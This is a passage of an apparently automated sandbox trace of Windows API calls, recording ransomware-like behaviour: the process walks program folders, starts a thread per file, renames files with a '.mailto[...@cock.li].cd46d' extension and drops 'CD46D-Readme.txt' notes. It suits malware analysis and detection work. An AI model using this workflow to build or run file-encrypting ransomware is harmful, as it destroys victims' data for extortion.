lpNumberOfBytesWritten=0x690fcd4, lpOverlapped=0x0 | out: lpBuffer=0x44d400*, lpNumberOfBytesWritten=0x690fcd4*=0x133, lpOverlapped=0x0) returned 1 [0056.644] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d400) returned 1 [0056.644] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413f98) returned 1 [0056.644] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0560) returned 1 [0056.644] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4149e8) returned 1 [0056.644] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0510) returned 1 [0056.644] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460648) returned 1 [0056.644] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460710) returned 1 [0056.644] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460760) returned 1 [0056.644] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xee) returned 0x4de000 [0056.644] wcscpy (in: _Dest=0x4de000, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" [0056.644] wcscat (in: _Dest=0x4de000, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml.mailto[2Hamlampampom@cock.li].cd46d" [0056.644] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x690fc8c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.644] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x104) returned 0x95d0940 [0056.756] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0940) returned 1 [0056.756] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d7c08) returned 1 [0056.756] NtQueryInformationFile (in: FileHandle=0x3f8, IoStatusBlock=0x690fc98, FileInformation=0x690fc70, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x690fc98, FileInformation=0x690fc70) returned 0x0 [0056.756] NtSetInformationFile (FileHandle=0x3f8, IoStatusBlock=0x690fc98, FileInformation=0x690fc70, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.758] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de000) returned 1 [0056.758] FlushFileBuffers (hFile=0x3f8) returned 1 [0056.812] CloseHandle (hObject=0x3f8) returned 1 [0056.818] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x12e29fb8 [0056.818] wcscpy (in: _Dest=0x12e29fb8, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\" [0056.818] wcscat (in: _Dest=0x12e29fb8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\CD46D-Readme.txt" [0056.818] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\cd46d-readme.txt")) returned 0xffffffff [0056.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x910 [0056.845] WriteFile (in: hFile=0x910, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x690fc94, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x690fc94*=0x6fd, lpOverlapped=0x0) returned 1 [0056.847] CloseHandle (hObject=0x910) returned 1 [0056.848] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e29fb8) returned 1 [0056.848] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424740) returned 1 Thread: id = 331 os_tid = 0xc10 [0048.579] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x447320 [0048.579] wcscpy (in: _Dest=0x447320, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" [0048.579] wcscat (in: _Dest=0x447320, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\" [0048.579] wcscat (in: _Dest=0x447320, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*" [0048.579] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430fa8 [0048.579] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*", lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ca8 [0048.579] wcscmp (_String1=".", _String2=".") returned 0 [0048.579] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.579] wcscmp (_String1="..", _String2=".") returned 1 [0048.579] wcscmp (_String1="..", _String2="..") returned 0 [0048.579] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e110e80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e110e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e110e80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170605115313.pma", cAlternateFileName="201706~1.PMA")) returned 1 [0048.579] wcscmp (_String1="20170605115313.pma", _String2=".") returned 1 [0048.579] wcscmp (_String1="20170605115313.pma", _String2="..") returned 1 [0048.579] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x4428e0 [0048.579] wcscpy (in: _Dest=0x4428e0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" [0048.580] wcscat (in: _Dest=0x4428e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\" [0048.580] wcscat (in: _Dest=0x4428e0, _Source="20170605115313.pma" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma" [0049.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4428e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0049.014] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e110e80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e110e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e110e80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170605115313.pma", cAlternateFileName="201706~1.PMA")) returned 0 [0049.014] FindClose (in: hFindFile=0x409ca8 | out: hFindFile=0x409ca8) returned 1 [0049.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430fa8) returned 1 [0049.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447320) returned 1 [0049.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447760) returned 1 Thread: id = 332 os_tid = 0xc14 [0048.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x449d80 [0048.580] wcscpy (in: _Dest=0x449d80, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0048.580] wcscat (in: _Dest=0x449d80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0048.580] wcscat (in: _Dest=0x449d80, _Source="*" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*" [0048.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f2c8 [0048.580] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409f28 [0048.580] wcscmp (_String1=".", _String2=".") returned 0 [0048.580] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.581] wcscmp (_String1="..", _String2=".") returned 1 [0048.581] wcscmp (_String1="..", _String2="..") returned 0 [0048.581] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 1 [0048.581] wcscmp (_String1="Workflow.Targets", _String2=".") returned 1 [0048.581] wcscmp (_String1="Workflow.Targets", _String2="..") returned 1 [0048.581] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e021e0 [0048.581] wcscpy (in: _Dest=0x5e021e0, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0048.581] wcscat (in: _Dest=0x5e021e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0048.581] wcscat (in: _Dest=0x5e021e0, _Source="Workflow.Targets" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" [0048.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e021e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c [0048.943] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0048.943] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2=".") returned 1 [0048.943] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2="..") returned 1 [0048.943] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40cda0 [0048.943] wcscpy (in: _Dest=0x40cda0, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0048.943] wcscat (in: _Dest=0x40cda0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0048.943] wcscat (in: _Dest=0x40cda0, _Source="Workflow.VisualBasic.Targets" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" [0048.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x40cda0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8 [0048.944] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 0 [0048.944] FindClose (in: hFindFile=0x409f28 | out: hFindFile=0x409f28) returned 1 [0048.945] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42f2c8) returned 1 [0048.945] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449d80) returned 1 [0048.945] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424608) returned 1 Thread: id = 333 os_tid = 0xc18 [0048.581] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x44ebd8 [0048.581] wcscpy (in: _Dest=0x44ebd8, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0048.581] wcscat (in: _Dest=0x44ebd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\" [0048.581] wcscat (in: _Dest=0x44ebd8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*" [0048.581] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x431478 [0048.581] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a0a8 [0048.582] wcscmp (_String1=".", _String2=".") returned 0 [0048.582] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.582] wcscmp (_String1="..", _String2=".") returned 1 [0048.582] wcscmp (_String1="..", _String2="..") returned 0 [0048.582] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fae55dc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5fae55dc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x5fc160dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0048.582] wcscmp (_String1="Workflow.Targets", _String2=".") returned 1 [0048.582] wcscmp (_String1="Workflow.Targets", _String2="..") returned 1 [0048.582] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02120 [0048.582] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0048.582] wcscat (in: _Dest=0x5e02120, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\" [0048.582] wcscat (in: _Dest=0x5e02120, _Source="Workflow.Targets" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" [0049.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e02120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec [0049.016] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eae0db9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x2eae0db9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x5fe776dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0049.016] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2=".") returned 1 [0049.016] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2="..") returned 1 [0049.016] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40ccc8 [0049.016] wcscpy (in: _Dest=0x40ccc8, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0049.016] wcscat (in: _Dest=0x40ccc8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\" [0049.016] wcscat (in: _Dest=0x40ccc8, _Source="Workflow.VisualBasic.Targets" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" [0049.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x40ccc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838 [0049.017] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eae0db9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x2eae0db9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x5fe776dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0049.017] FindClose (in: hFindFile=0x40a0a8 | out: hFindFile=0x40a0a8) returned 1 [0049.017] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x431478) returned 1 [0049.017] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44ebd8) returned 1 [0049.017] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44cfc8) returned 1 Thread: id = 334 os_tid = 0xc1c [0048.583] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf")) returned 0x2020 [0048.583] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf", dwFileAttributes=0x20) returned 1 [0059.037] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0059.037] GetLastError () returned 0x20 [0059.037] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8) returned 0x415f00 [0059.037] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0059.037] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415f00) returned 1 [0059.037] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8) returned 0x415f00 [0059.037] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96fa070 [0059.037] wcscpy (in: _Dest=0x96fa070, _Source="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" [0059.037] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf", dwFileAttributes=0x2020) returned 1 [0059.038] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446550) returned 1 Thread: id = 335 os_tid = 0xc20 [0048.587] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racdatabase.sdf")) returned 0x2020 [0048.587] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf", dwFileAttributes=0x20) returned 1 [0060.702] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racdatabase.sdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0060.702] GetLastError () returned 0x20 [0060.702] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8) returned 0x415f00 [0060.702] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0060.702] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415f00) returned 1 